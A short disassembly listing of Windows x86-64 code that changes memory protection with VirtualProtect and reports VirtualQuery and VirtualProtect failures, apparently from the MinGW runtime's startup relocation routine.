mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x31a0a7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x31a0a16ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.31a0a15b0
nop dword [rax]
xor ebx, ebx
jmp 0x31a0a1677
mov rax, qword [0x31a0a7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.31a0a15b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.31a0a15b0
nop
nop word cs:[rax + rax]
nop dword [rax]